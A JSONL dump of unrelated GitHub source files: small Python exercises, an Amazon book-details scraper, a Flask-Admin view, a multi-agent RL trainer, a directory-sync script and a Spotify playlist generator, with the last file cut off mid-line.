+{"seq_id":"17860968584","text":"# -*- coding: utf-8 -*-\nimport calculadora_indices as calc\n\npeso = float(input('Inserte su peso en kilogramos: '))\naltura = float(input('Inserte su altura en metros: '))\nedad = int(input('Inserte su edad en años: '))\nvalor_genero = float(input('Inserte 10.8 si es hombre y 0 si es mujer: '))\n\nCALCULAR_PORCENTAJE_GRASA = calc.calcular_porcentaje_grasa(peso, altura, edad, valor_genero)\nprint(str(round(CALCULAR_PORCENTAJE_GRASA, 2)) + ' %')\n\n#Listo","repo_name":"tatianarbelaez/proyecto-python-coursera","sub_path":"consola_calculo_porcentaje_grasa.py","file_name":"consola_calculo_porcentaje_grasa.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5758892617","text":"# ---\n# configuration\nmadlib = \"'s most favorite-est-est subject in school is \"\nexample = \"___(name)___%s___(subject)___.\" % madlib\nprompt1 = \"Please fill in the blanks below:\"\nprompt2 = \"What is name? \"\nprompt3 = \"What is subject? \"\n\n# ---\n# processing\nprint(prompt1)\nprint(example)\nname = input(prompt2)\nsubject = input(prompt3)\noutput = \"%s%s%s.\" % (name, madlib, subject)\n\n# ---\n# result\nprint(output)\n","repo_name":"leecmoses/digitalcrafts","sub_path":"Week 01/Day 02 - 01.30/Day 02 Solutions/madlib.py","file_name":"madlib.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25336427470","text":"# Runtime: 36 ms, faster than 79.87% of Python3 online submissions for Reverse Linked List II.\r\n# Memory Usage: 14 MB, less than 5.02% of Python3 online submissions for Reverse Linked List II.\r\n# Definition for singly-linked list.\r\n# class ListNode:\r\n#     def __init__(self, x):\r\n#         self.val = x\r\n#         self.next = None\r\n\r\nclass Solution:\r\n    def reverseBetween(self, head: ListNode, m: int, n: int) -> ListNode:\r\n        if not head:\r\n            return None\r\n        cur, pre = head, None\r\n        while m > 1:\r\n            pre = cur\r\n            cur = cur.next\r\n            m, n = m - 1, n - 1\r\n        tail, con = cur, pre  # 2 pointer for the final connection\r\n        while n:\r\n            tmp = cur.next\r\n            cur.next = pre\r\n            pre = cur\r\n            cur = tmp\r\n            n -= 1\r\n        if con:\r\n            con.next = pre\r\n        else:\r\n            head = pre\r\n        tail.next = cur\r\n        return head\r\n","repo_name":"daidai21/Leetcode","sub_path":"Algorithms/Python3.x/92-Reverse_Linked_List_II.py","file_name":"92-Reverse_Linked_List_II.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"3587615988","text":"#!/usr/bin/python3\n\"\"\"A tool to scrape Amazon for details of a book based on ISBN to reduce typing.\"\"\"\n\nimport argparse\nimport logging\nimport re\nimport sys\nimport json\nfrom selenium import webdriver\nfrom selenium.common.exceptions import WebDriverException\nfrom bs4 import BeautifulSoup\n\nPAT_PUB1 = re.compile(r'(.*?); (\\d*)[A-Za-z&,]* edition *\\(.*?, *(\\d\\d\\d\\d)\\)')\nPAT_PUB2 = re.compile(r'(.*?) \\(.*?, *(\\d\\d\\d\\d)\\)')\n\n\nTITLES = ['Mr.', 'Mrs.', 'Ms.', 'Prof.', 'Dr.', 'Fr.', 'Sr.', 'Br.']\nCREDS = ['Ph.D.', 'M.D.', 'J.D.', 'D.D.', 'D.Phil.',\n         'S.T.D.', 'S.T.B.', 'Jr.', 'Sr.', 'III', 'IV']\nSPACE_CREDS = [s.replace('.', '. ').strip() for s in CREDS]\n\nlog = logging.getLogger('scraper')\nlog.setLevel(logging.DEBUG)\nch = logging.StreamHandler()\nch.setLevel(logging.DEBUG)\nformatter = logging.Formatter('%(name)s:%(levelname)s:  %(message)s')\nch.setFormatter(formatter)\nlog.addHandler(ch)\n\n\nclass Person:\n    \"\"\"A representation of a person.\"\"\"\n\n    def __init__(self, name_string: str):\n        name_string = name_string.replace(',', '')\n        for space_cred, cred in zip(SPACE_CREDS, CREDS):\n            name_string = name_string.replace(space_cred, cred)\n\n        parts = name_string.strip().split(' ')\n\n        while '' in parts:\n            parts.remove('')\n\n        if parts[0] == 'The':\n            self.is_organization = True\n            self.last_name = ' '.join(parts)\n            self.first_and_middle_names = None\n            self.titles = None\n            self.credentials = None\n            self.display_name = self.last_name\n            self.sortable_name = self.last_name\n        else:\n            self.is_organization = False\n\n            display_parts = []\n            sortable_parts = []\n\n            titles = []\n            while parts[0] in TITLES:\n                titles.append(parts.pop(0))\n            self.titles = ', '.join(titles) if titles else None\n\n            creds = []\n            while parts[-1] in CREDS:\n                creds.insert(0, parts.pop())\n            self.credentials = ', '.join(creds) if creds else None\n\n            self.last_name = parts.pop()\n\n            if parts:\n                self.first_and_middle_names = ' '.join(parts)\n            else:\n                self.first_and_middle_names = None\n\n            sortable_parts = [self.last_name]\n            display_parts = []\n\n            if self.titles:\n                display_parts.append(self.titles)\n            if self.first_and_middle_names:\n                sortable_parts.append(self.first_and_middle_names)\n                display_parts.append(self.first_and_middle_names)\n            display_parts.append(self.last_name)\n            if self.credentials:\n                display_parts[-1] += ','\n                display_parts.append(self.credentials)\n                sortable_parts.append(self.credentials)\n\n            self.sortable_name = ', '.join(sortable_parts)\n            self.display_name = ' '.join(display_parts)\n\n    def get_dict(self):\n        \"\"\" Return a dictionary representation of the person.\"\"\"\n        return {\n            'lastName': self.last_name,\n            'firstAndMiddleNames': self.first_and_middle_names,\n            'titles': self.titles,\n            'credentials': self.credentials,\n            'isOrganization': self.is_organization,\n            'displayName': self.display_name,\n            'sortableName': self.sortable_name\n        }\n\n\nclass Book:\n    \"\"\"A representation of Books on Amazon.\"\"\"\n\n    def __init__(self):\n        self.title = ''\n        self.subtitle = None\n        self.price = 0.0\n        self.authors = []\n        self.publisher = None\n        self.edition = 1\n        self.year = 2001\n        self.isbn10 = None\n        self.isbn13 = None\n        self.url = ''\n\n    def add_author(self, author_string):\n        \"\"\"Add an author to the book.\"\"\"\n        self.authors.append(Person(author_string))\n\n    def get_dict(self):\n        \"\"\"Return a dictionary representation of the object.\"\"\"\n        return {\n            'title': self.title,\n            'subtitle': self.subtitle,\n            'price': self.price,\n            'authors': [a.get_dict() for a in self.authors],\n            'publisher': self.publisher,\n            'edition': self.edition,\n            'year': self.year,\n            'isbn10': self.isbn10,\n            'isbn13': self.isbn13,\n            'url': self.url\n        }\n\n\ndef get_driver(headless: bool = True):\n    \"\"\"Return a webdriver object.\"\"\"\n    if __debug__:\n        log.debug('Attempting to load driver.')\n    opts = webdriver.chrome.options.Options()\n    if headless:\n        opts.add_argument(\"--headless\")\n    try:\n        driver = webdriver.Chrome(options=opts)\n        if __debug__:\n            log.debug('Driver successfully loaded.')\n    except WebDriverException as err:\n        log.error('Failed to load driver: %s.', err)\n        sys.exit(150)\n    return driver\n\n\ndef load_page(sub_url, headless: bool = True):\n    \"\"\"Return a BeautifulSoup object containing the page data.\n\n    Parameters\n    ----------\n    sub_url : str\n        The part of the URL that comes after https://www.amazon.com.\n        It should probably begin with a slash.\n\n    Returns\n    -------\n    BeautifulSoup\n        The contents of the requested page.\n    \"\"\"\n    url = f\"https://www.amazon.com{sub_url}\"\n    log.info(\"Loading page <%s>.\", url)\n    driver = get_driver(headless)\n    try:\n        driver.get(url)\n        contents = driver.page_source\n        soup = BeautifulSoup(contents, 'lxml')\n    except WebDriverException as err:\n        log.error(\"Selenium threw error loading <%s>. Error: <%s>.\", url, str(err))\n        sys.exit(150)\n    finally:\n        driver.quit()\n    return soup\n\n\ndef get_format_dict(soup):\n    \"\"\"Return a dict of the formats of the book available on Amazon.\"\"\"\n    result = {}\n    button_region = soup.find('div', id=\"tmmSwatches\")\n    buttons = button_region.find_all('span', class_=\"a-button-inner\")\n    for button in buttons:\n        link = button.find(\"a\")\n        link_text = link.find('span').get_text().strip()\n        result[link_text.lower()] = link.get('href')\n    return result\n\n\ndef get_first_result(isbn, headless: bool = True):\n    \"\"\"Pull the first result from Amazon.\n\n    Parameters\n    ----------\n    isbn : str\n        The ISBN to use for an Amazon search.\n\n    Returns\n    -------\n    text : str\n        The text of the link.\n    url : str\n        The URL to which the link points.\n    \"\"\"\n\n    #sub_url = f\"/s?isbn={isbn}\"\n    sub_url = f\"/s?i=stripbooks&rh=p_66%3A{isbn}\"\n    soup = load_page(sub_url, headless)\n\n    #log.info(soup)\n    links = []\n    for item in soup.find_all('h2'):\n        for link in item.find_all('a'):\n            links.append((link.get_text().strip(), link.get('href')))\n\n    return links[0]\n\n\ndef get_book_data(sub_url, fmt=None, headless: bool = True):\n    \"\"\"Return a JSON string of book data from Amazon.\"\"\"\n    soup = load_page(sub_url, headless)\n\n    book = Book()\n\n    if fmt:\n        available_formats = get_format_dict(soup)\n        if fmt in available_formats:\n            newlink = available_formats[fmt]\n            log.info(\"Redirecting to different format <%s>.\", fmt)\n            soup = load_page(newlink)\n        else:\n            log.info(\"Requested format not available\")\n\n    title = soup.find(id='productTitle').get_text().strip()\n    subtitle = None\n    if ':' in title:\n        title, subtitle = title.split(': ', maxsplit=1)\n    log.info(\"Found title %s.\", title)\n    log.info(\"Found subtitle %s.\", subtitle)\n    book.title = title\n    book.subtitle = subtitle\n\n    try:\n        price = soup.find(id='listPrice').get_text().strip()\n        if __debug__:\n            log.debug(\"Found listPrice element.\")\n    except AttributeError:\n        try:\n            price = soup.find(id='newBuyBoxPrice').get_text().strip()\n            if __debug__:\n                log.debug(\"Found newBuyBoxPrice element.\")\n        except AttributeError:\n            log.warning(\"No price found. Dumping page.\")\n            with open('dump_price_search.html', 'w') as outfile:\n                outfile.write(str(soup))\n            price = ''\n    price = price.replace('$', '')\n    book.price = float(price)\n    log.info(\"Using price: %f\", float(price))\n\n    author_area = soup.find_all('span', class_=\"author\")\n    for author in author_area:\n        for item in author.find_all('a'):\n            if item.find_parents(class_='a-popover-preload'):\n                continue\n            text = cleantext(item)\n            if text:\n                book.add_author(text)\n\n    #details = soup.find(id='productDetailsTable')\n    details = soup.find(id='detailBullets_feature_div')\n    for item in details.find_all('li'):\n        itemstr = str(item)\n        if 'Publisher' in itemstr:\n            pub_full = cleantext(item).replace('Publisher: ', '')\n            match = PAT_PUB1.search(pub_full)\n            if match:\n                book.publisher = match.group(1)\n                try:\n                    book.edition = int(match.group(2))\n                except ValueError:\n                    book.edition = match.group(2)\n                book.year = int(match.group(3))\n            else:\n                match = PAT_PUB2.search(pub_full)\n                if match:\n                    book.publisher = match.group(1)\n                    book.year = int(match.group(2))\n                else:\n                    book.publisher = pub_full\n                book.edition = '1'\n        elif 'ISBN-10' in itemstr:\n            book.isbn10 = cleantext(item).replace('ISBN-10', '').replace(':', '').strip()\n        elif 'ISBN-13' in itemstr:\n            book.isbn13 = cleantext(item).replace('ISBN-13', '').replace(':', '').strip()\n\n    book.url = f\"https://www.amazon.com{sub_url}\"\n\n    return json.dumps(book.get_dict())\n\n\ndef cleantext(item):\n    \"\"\"Return the cleaned text from a soup item.\n\n    Parameters\n    ----------\n    item : BeautifulSoup.Tag\n        The item whose text is to be cleaned.\n\n    Return\n    ------\n    str\n        The text with whitespace removed.\n    \"\"\"\n    return item.get_text().strip()\n\n\ndef check_isbn_valid(isbn):\n    \"\"\"Check whether the ISBN is valid and, if so, clean it.\n\n    Parameters\n    ----------\n    isbn : str\n        A string containing the ISBN of the book to search.\n\n    Returns\n    -------\n    str\n        The ISBN with hyphens removed, or an empty string if the\n        ISBN is not valid.\n    \"\"\"\n    valid_chars = []\n    for char in isbn:\n        if char in '0123456789X':\n            valid_chars.append(char)\n\n    if len(valid_chars) == 10 or len(valid_chars) == 13:\n        return ''.join(valid_chars)\n    return ''\n\n\ndef console():\n    \"\"\"Run the program, pulling the ISBN from args.\"\"\"\n    parser = argparse.ArgumentParser(description=\"Scrape Amazon.com for book details.\")\n    parser.add_argument('isbn',\n                        help=\"The ISBN for the book you want to search.\")\n    parser.add_argument('--format', '-f', action='store',\n                        help=(\"The binding type, usually 'paperback' or 'hardcover'.\"))\n\n    args = parser.parse_args()\n\n    isbn = check_isbn_valid(args.isbn).strip()\n\n    fmt = args.format\n    if fmt:\n        fmt = fmt.strip()\n\n    if isbn:\n        if __debug__:\n            log.debug(\"ISBN detected: %s\", isbn)\n        try:\n            _, sub_url = get_first_result(isbn)\n        except IndexError:\n            log.warning('Probably bot detected. Trying again without headless.')\n            _, sub_url = get_first_result(isbn, False)\n        try:\n            results = get_book_data(sub_url, fmt)\n        except AttributeError:\n            log.warning('Probably bot detected. Trying again without headless.')\n            results = get_book_data(sub_url, fmt, False)\n        print(results)\n    else:\n        sys.exit(1, 'Invalid ISBN')\n\n\ndef test():\n    \"\"\"Run the program with a test ISBN.\"\"\"\n    test_isbn = \"9781788478120\"\n\n    _, sub_url = get_first_result(test_isbn)\n    results = get_book_data(sub_url)\n    print(results)\n\n\n# print(h2s)\nif __name__ == '__main__':\n    console()\n","repo_name":"tcflanagan/libapi","sub_path":"html/scraper2.py","file_name":"scraper2.py","file_ext":"py","file_size_in_byte":12020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"75169428242","text":"from flask_admin.form import ImageUploadField\nfrom flask_admin.model import BaseModelView\nfrom markupsafe import Markup\nfrom admin.ImageForm import ImageForm\nfrom models import Image, User, Label\nfrom sqlalchemy import func\nfrom flask import request\nimport flask_login as login\nimport base64\nfrom flask import redirect, url_for\n\n\nclass ImageModelView(BaseModelView):\n    def __init__(self, model, session, **kwargs):\n        super().__init__(model, **kwargs)\n\n        self.session = session\n\n    form_extra_fields = {\n        'image_byte': ImageUploadField('Image', render_kw={\"multiple\": True})\n    }\n\n    def is_accessible(self):\n        return login.current_user.is_authenticated\n\n    def render_image(self, context, model, name):\n        image_data = base64.b64encode(model.image_byte).decode('utf-8')\n        image_uri = 'data:image/png;base64,{}'.format(image_data)\n        return Markup('<img src=\"{}\" width=\"100\" height=\"100\">'.format(image_uri))\n\n    column_formatters = {\n        'image_byte': render_image\n    }\n\n    def create_model(self, form):\n        for image_data in form.image_byte.data:\n            image = Image()\n            form.populate_obj(image)\n            image.image_byte = image_data.read()\n            self.session.add(image)\n        self.session.commit()\n        return redirect(url_for('.index_view'))\n\n\n    def update_model(self, form, model):\n        image_datas = form.image_byte.data\n        if len(image_datas):\n            model.image_byte = image_datas[0].read()\n        model.user = self.session.query(User).get(form.user.data)\n        model.label = self.session.query(Label).get(form.label.data)\n        self.session.add(model)\n        self.session.commit()\n        return redirect(url_for('.index_view'))\n\n\n    def scaffold_list_columns(self):\n        return ['id', 'image_byte', 'user.username', 'label.name']\n\n    def scaffold_sortable_columns(self):\n        return {'id': 'asc'}\n\n    def scaffold_form(self):\n        return ImageForm\n\n    def get_pk_value(self, model):\n        return model.id\n\n    def get_one(self, id):\n        return self.session.query(self.model).get(id)\n\n    def delete_model(self, model):\n        self.session.delete(model)\n        self.session.commit()\n        return redirect(url_for('.index_view'))\n\n\n    def is_delete_form_submitted(self):\n        if request.method == 'POST':\n            return 'delete' in request.form and 'confirm_delete' in request.form\n        return False\n\n    \n    def get_list(self, page, sort_field, sort_desc, search, filters, page_size=None):\n        count_query = self.session.query(func.count('*')).select_from(self.model)\n        if filters:\n            count_query = self.apply_filters(count_query, filters)\n        if search:\n            count_query = self.apply_search(count_query, search)\n        count = count_query.scalar()\n        query = self.session.query(self.model)\n        if filters:\n            query = self.apply_filters(query, filters)\n        if search:\n            query = self.apply_search(query, search)\n        if sort_field:\n            query = self.apply_sort(query, sort_field, sort_desc)\n        if page and page_size:\n            query = self.apply_pagination(query, page, page_size)\n        return count, query.all()\n","repo_name":"bugdaryan/telegram-markup-bot","sub_path":"api/admin/ImageModelView.py","file_name":"ImageModelView.py","file_ext":"py","file_size_in_byte":3247,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"37412908006","text":"import argparse\nimport torch\nimport os\nimport numpy as np\nfrom tensorboardX import SummaryWriter\nfrom gym.spaces import Box, Tuple, Discrete\nfrom torch.autograd import Variable\nfrom pathlib import Path\nfrom components.make_env import make_env\nfrom components.env_wrappers import SubprocVecEnv, DummyVecEnv\nfrom components.buffer import ReplayBuffer\nfrom components.rollout import RolloutWorker\nfrom components.arguments import get_common_args, get_mixer_args, get_coma_args, get_liir_args, get_maac_args\nfrom agent.agent import Agents\n\nimport matplotlib\nimport matplotlib.pyplot as plt\nmatplotlib.use('TkAgg')\n\n\ndef make_parallel_env(env_id, n_parallel_envs, seed, discrete_action=True):\n    def get_env_fn(rank):\n        def init_env():\n            env = make_env(env_id, discrete_action=discrete_action)\n            env.seed(seed + rank * 1000)\n            np.random.seed(seed + rank * 1000)\n            return env\n        return init_env\n    if n_parallel_envs == 1:\n        return DummyVecEnv([get_env_fn(0)])\n    else:\n        return SubprocVecEnv([get_env_fn(i) for i in range(n_parallel_envs)])\n\n\ndef get_shape(sp):\n    space, dim = 0, 0\n    if isinstance(sp, Box):\n        space = sp.shape[0]\n        dim = sp.shape[0]\n    elif isinstance(sp, Tuple):\n        for p in sp.spaces:\n            if isinstance(p, Box):\n                space += p.shape[0]\n                dim += p.shape[0]\n            else:\n                space += p.n\n                dim += 1\n    else:  # if the instance is 'Discrete', the action dim is 1\n        space = sp.n\n        dim = 1\n    return space, dim\n\n\ndef get_env_scheme(env):\n    \"\"\"\n    We assume that the environment is the default 'simple_spread'\n    which has the same observation_space and action_space for each agent.\n    \"\"\"\n    agent_init_params = {}\n\n    \"\"\"\n    for acsp, obsp in zip(env.action_space, env.observation_space):\n        observation_space, observation_dim = get_shape(obsp)\n        action_space, action_dim = get_shape(acsp)\n        agent_init_params.append({'observation_space': observation_space,\n                                  'observation_dim': observation_dim,\n                                  'action_space': action_space,\n                                  'action_dim': action_dim})\n    \"\"\"\n\n    num_agents = len(env.observation_space)\n    observation_space, observation_dim = get_shape(env.observation_space[0])\n    action_space, action_dim = get_shape(env.action_space[0])\n\n    agent_init_params['n_agents'] = num_agents\n    agent_init_params['observation_space'] = observation_space\n    agent_init_params['observation_dim'] = observation_dim\n    agent_init_params['action_space'] = action_space\n    agent_init_params['action_dim'] = action_dim\n\n    return agent_init_params\n\n\ndef runner(env, args):\n    model_dir = Path('./models') / args.env_id / args.algo\n    if not model_dir.exists():\n        curr_run = 'run1'\n    else:\n        exst_run_nums = [int(str(folder.name).split('run')[1]) for folder in model_dir.iterdir()\n                         if str(folder.name).startswith('run')]\n        if len(exst_run_nums) == 0:\n            curr_run = 'run1'\n        else:\n            curr_run = 'run%i' % (max(exst_run_nums) + 1)\n\n    run_dir = model_dir / curr_run\n    log_dir = run_dir / 'logs'\n    results_dir = run_dir / 'results'\n\n    os.makedirs(str(log_dir))\n    os.makedirs(str(results_dir))\n    logger = SummaryWriter(str(log_dir))\n    torch.manual_seed(args.seed)\n    np.random.seed(args.seed)\n\n    if not args.use_cuda and args.n_training_threads is not None:\n        torch.set_num_threads(args.n_training_threads)\n\n    agents = Agents(args)\n    rolloutWorker = RolloutWorker(env, agents, args)\n    buffer = ReplayBuffer(args)\n\n    train_step = 0\n    mean_episode_rewards = []\n\n    for ep_i in range(0, args.n_episodes, args.n_parallel_envs):\n        print(\"Episodes %i-%i of %i\" % (ep_i + 1,\n                                        ep_i + 1 + args.n_parallel_envs,\n                                        args.n_episodes))\n        if args.display:\n            for env_show in env.envs:\n                env_show.render('human')\n\n        # Using the RolloutWork to interact with the environment (rollout the episodes >= 1)\n        episodes, rews, mean_rews = [], [], []\n        for episode_idx in range(args.n_rollouts):\n            episode, ep_rew, mean_ep_rew = rolloutWorker.generate_episode(episode_idx)\n            episodes.append(episode)\n            rews.append(ep_rew)\n            mean_rews.append(mean_ep_rew)\n        episodes_batch = episodes[0]\n        episodes.pop(0)\n        for episode in episodes:\n            for key in episodes_batch.keys():\n                episodes_batch[key] = np.concatenate((episodes_batch[key], episode[key]), axis=0)\n        buffer.push(episodes_batch)\n\n        # Algorithms VDN and QMIX need the buffer but not the epsilon to train agents\n        if args.algo.find('vdn') > -1 or args.algo.find('qmix') > -1:\n            for _ in range(args.training_steps):\n                mini_batch = buffer.sample(min(buffer.current_size, args.batch_size))\n                agents.train(mini_batch, train_step)\n                train_step += 1\n        # Algorithms COMA, LIIR, MAAC needs the buffer and the epsilon to train agents\n        else:\n            for _ in range(args.training_steps):\n                mini_batch = buffer.sample(min(buffer.current_size, args.batch_size))\n                agents.train(mini_batch, train_step, rolloutWorker.epsilon)\n                train_step += 1\n\n        rews = np.mean(rews)\n        mean_rews = np.mean(mean_rews)\n        mean_episode_rewards.append(mean_rews)\n        logger.add_scalar('mean_episode_rewards', mean_rews, ep_i)\n        print(\"Episode {} : Total reward {} , Mean reward {}\".format(ep_i + 1, rews, mean_rews))\n\n        if ep_i % args.save_cycle < args.n_parallel_envs:\n            os.makedirs(str(run_dir / 'incremental'), exist_ok=True)\n            agents.save(str(run_dir / 'incremental' / ('model_ep%i.pt' % (ep_i + 1))))\n            agents.save(str(run_dir / 'model.pt'))\n\n    agents.save(str(run_dir / 'model.pt'))\n    env.close()\n    logger.export_scalars_to_json(str(log_dir / 'summary.json'))\n    logger.close()\n\n    index = list(range(1, len(mean_episode_rewards) + 1))\n    plt.plot(index, mean_episode_rewards)\n    plt.ylabel(\"Mean Episode Rewards\")\n    plt.savefig(str(results_dir) + '/mean_episode_rewards.jpg')\n    # plt.show()\n    plt.close()\n\n\nif __name__ == '__main__':\n    args = get_common_args()\n    if args.algo.find('vdn') > -1 or args.algo.find('qmix') > -1:\n        args = get_mixer_args(args)\n    elif args.algo.find('coma') > -1 or args.algo.find('maddpg') > -1:\n        args = get_coma_args(args)\n    elif args.algo.find('maac') > -1:\n        args = get_maac_args(args)\n    else:\n        args = get_liir_args(args)\n    if args.env_id != \"simple_spread\":\n        raise ValueError(\"We require the default environment SIMPLE_SPREAD ...\")\n    # env = make_env(args.env_id)\n    env = make_parallel_env(args.env_id, args.n_parallel_envs, args.seed)\n    scheme = get_env_scheme(env)\n    args.n_agents = scheme['n_agents']\n    args.obs_shape = scheme['observation_space']\n    args.n_actions = scheme['action_space']\n\n    runner(env, args)\n","repo_name":"ShAw7ock/MPE-Multiagent-RL-Algos","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7220,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"3"}
+{"seq_id":"27259083455","text":"import os\nimport hashlib\nimport time\nimport logging\nimport sys\nimport pandas\n\nLOG = 'log.txt'\n\ndef log(message):\n    now = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n    with open(LOG, 'a') as f:\n        f.write('['+now+']'+message+'\\n')\n\nlogging.basicConfig(\n    level=logging.INFO,\n    format=\"%(asctime)s %(message)s\",\n    handlers=[\n        logging.FileHandler(\"debug.log\"),\n        logging.StreamHandler()\n    ]\n)\n\ndef compare2directories(source, replica):\n\n    filesOfSource = os.listdir(source)\n    filesOfReplica = os.listdir(replica)\n\n\n    filesToBeAddedToReplica = []\n    \n    filesToBeRemovedFromReplica = []\n    \n\n\n    for file1 in filesOfSource:\n        number = 0\n        for file2 in filesOfReplica:\n            if file1 == file2:\n                number +=1\n        if number == 0:\n            filesToBeAddedToReplica.append(file1)\n        \n            \n    for file1 in filesOfReplica:\n        num = 0\n        for file2 in filesOfSource:\n            if file1 == file2:\n                num +=1\n        if num == 0:\n            filesToBeRemovedFromReplica.append(file1)\n            \n\n    for fileToBeAdded in filesToBeAddedToReplica:\n        if fileToBeAdded:\n            os.system('copy ' + source + '\\\\' + fileToBeAdded + ' ' + replica)        \n            log('file coppied: ' + fileToBeAdded)\n            logging.info('file coppied: ' + fileToBeAdded)\n            \n        \n    for fileToBeRemoved in filesToBeRemovedFromReplica:   \n        if fileToBeRemoved:\n            os.remove(replica + '\\\\' + fileToBeRemoved)                          \n            log('file removed: ' + fileToBeRemoved)\n            logging.info('file removed: ' + fileToBeRemoved)\n\n\n\nwhile True:\n    time.sleep(int(sys.argv[3]))\n    compare2directories(sys.argv[1], sys.argv[2])\n    logging.info(int(sys.argv[3]))","repo_name":"ishgov/Veeam_Test_Task","sub_path":"Veeam_SDET_Test_Task.py","file_name":"Veeam_SDET_Test_Task.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70557083601","text":"## dat analysis library\ndef trim(x,ref):\n    ind=len(ref)-1\n    for i in range(len(ref)):\n        if ref[i]!=0:\n            ind0 = i\n            break\n    reft=ref[::-1]\n    for i in range(len(reft)):\n        if reft[i]!=0:\n            ind1=i\n            break\n    ind1=len(reft)-ind1\n    return x[ind0:ind1],ref[ind0:ind1]\n","repo_name":"youngung/mpl-lib3","sub_path":"src/lib/dat_lib.py","file_name":"dat_lib.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"70435906642","text":"from os import getenv\nfrom random import choice\n\nfrom .database_connection import DatabaseConnection\nfrom .spotify_commands import sp, get_spotify_playlist_songs\nfrom .vb_utils import get_logger, array_chunks\n\nlogger = get_logger(__name__)\nenvironment = getenv(\"ENVIRONMENT\")\n\nif environment == \"dev\":\n    PARTY_PLAYLIST_ID = getenv(\"PARTY_PLAYLIST_ID\")\n    TOP_50_PLAYLIST_ID = getenv(\"TOP_50_PLAYLIST_ID\")\n    CHILL_PLAYLIST_ID = getenv(\"CHILL_PLAYLIST_ID\")\n    LIGHT_PLAYLIST_ID = getenv(\"LIGHT_PLAYLIST_ID\")\n    MOODY_PLAYLIST_ID = getenv(\"MOODY_PLAYLIST_ID\")\n    GENRE_PLAYLIST_ID = getenv(\"GENRE_PLAYLIST_ID\")\n    PARTY_UNFILTERED_PLAYLIST_ID = getenv(\"PARTY_UNFILTERED_PLAYLIST_ID\")\n    ENERGY_PLAYLIST_ID = getenv(\"ENERGY_PLAYLIST_ID\")\n    SHIFT_PLAYLIST_ID = getenv(\"SHIFT_PLAYLIST_ID\")\nelif environment == \"prod\":\n    PARTY_PLAYLIST_ID = \"6ksVLVljYiEUpjSoDh8z0w\"\n    TOP_50_PLAYLIST_ID = \"1b04aMKreEwigG4ivcZNJm\"\n    CHILL_PLAYLIST_ID = \"65PiacgUM34qS9EtNgbr5r\"\n    LIGHT_PLAYLIST_ID = \"5gsgXQu45m0W06WkmWXQBY\"\n    MOODY_PLAYLIST_ID = \"0jiEtmsU9wRGrAVf7O5YeT\"\n    GENRE_PLAYLIST_ID = \"5MDgnMXhfdmxpsCfHz1ioL\"\n    PARTY_UNFILTERED_PLAYLIST_ID = \"6chmLTkj3RZVBPoen7mCs8\"\n    ENERGY_PLAYLIST_ID = \"6tvj9N8XItXNAw5t9D2e86\"\n    SHIFT_PLAYLIST_ID = \"4Se66d3h8equYrj7W6msdT\"\n\n\ndef selects_playlists_coordinator():\n    logger.info(\"Beginning generation of aggregate playlists\")\n    conn = DatabaseConnection()\n\n    if not songs_and_artists_exist(conn=conn):\n        logger.info(\"No songs and artists exist in the database, skipping generation of aggregate playlists\")\n        conn.terminate()\n        return\n\n    top_50_playlist_sql = \"\"\"\n    SELECT song_id AS id, num_times_added AS count\n    FROM v_rankings_songs\n    ORDER BY rank\n    LIMIT 50\n    \"\"\"\n\n    party_playlist_sql = \"SELECT * FROM v_party_playlist;\"\n    chill_playlist_sql = \"SELECT * FROM v_chill_playlist;\"\n    light_playlist_sql = \"SELECT * FROM v_light_playlist;\"\n    moody_playlist_sql = \"SELECT * FROM v_moody_playlist;\"\n    party_unfiltered_playlist_sql = \"SELECT * FROM v_party_unfiltered_playlist;\"\n    energy_playlist_sql = \"SELECT * FROM v_energy_playlist;\"\n\n    # region Genre playlist\n    genres = get_viable_genres(conn=conn)\n    if len(genres) == 0:\n        logger.info(\"No viable genres found, skipping generation of genre playlist\")\n    else:\n        selected_genre = choice(genres)\n\n        genre_playlist_sql = f\"\"\"\n        SELECT s.id\n        FROM v_songs s\n                 JOIN artists_songs \"as\" ON \"as\".song_id = s.id\n                 JOIN artists a ON a.id = \"as\".artist_id\n                 JOIN artists_genres ag ON ag.artist_id = a.id\n                 JOIN genres g on g.id = ag.genre_id\n        WHERE g.id = '{selected_genre[0]}'\n          AND s.is_blacklisted = FALSE\n          AND a.is_blacklisted = FALSE\n        GROUP BY s.id, s.name\n        ORDER BY RANDOM()\n        LIMIT 100;\n        \"\"\"\n\n        description = f\"A randomly selected genre tracked by VaultBot. \" \\\n                      f\"Currently: {str.title(selected_genre[1])}.\"\n\n        sp.playlist_change_details(playlist_id=GENRE_PLAYLIST_ID, description=description)\n        update_playlist(playlist_id=GENRE_PLAYLIST_ID, playlist_sql=genre_playlist_sql, conn=conn)\n\n        featured_genre_sql = f\"\"\"\n        INSERT INTO featured_genres (genre_id, featured_date)\n        VALUES ('{selected_genre[0]}', NOW()::timestamp)\n        \"\"\"\n        conn.raw_query(featured_genre_sql)\n        conn.commit()\n\n        logger.info(f\"Updating aggregate playlist Genre (id: {GENRE_PLAYLIST_ID})\")\n        logger.info(f\"New genre: {selected_genre[1]}, selected out of {len(genres)} viable genres\")\n    # endregion\n\n    # region Shift playlist\n    viable_characteristics = get_viable_characteristics(conn=conn)\n\n    first_characteristic = choice(viable_characteristics)\n    viable_characteristics.remove(first_characteristic)\n    second_characteristic = choice(viable_characteristics)\n\n    ranges = []\n    descriptors = []\n\n    for characteristic in [first_characteristic, second_characteristic]:\n        summary_statistics = get_summary_statistics(conn=conn, characteristic=characteristic)\n\n        quartile = choice([\"Q1\", \"Q2\", \"Q3\", 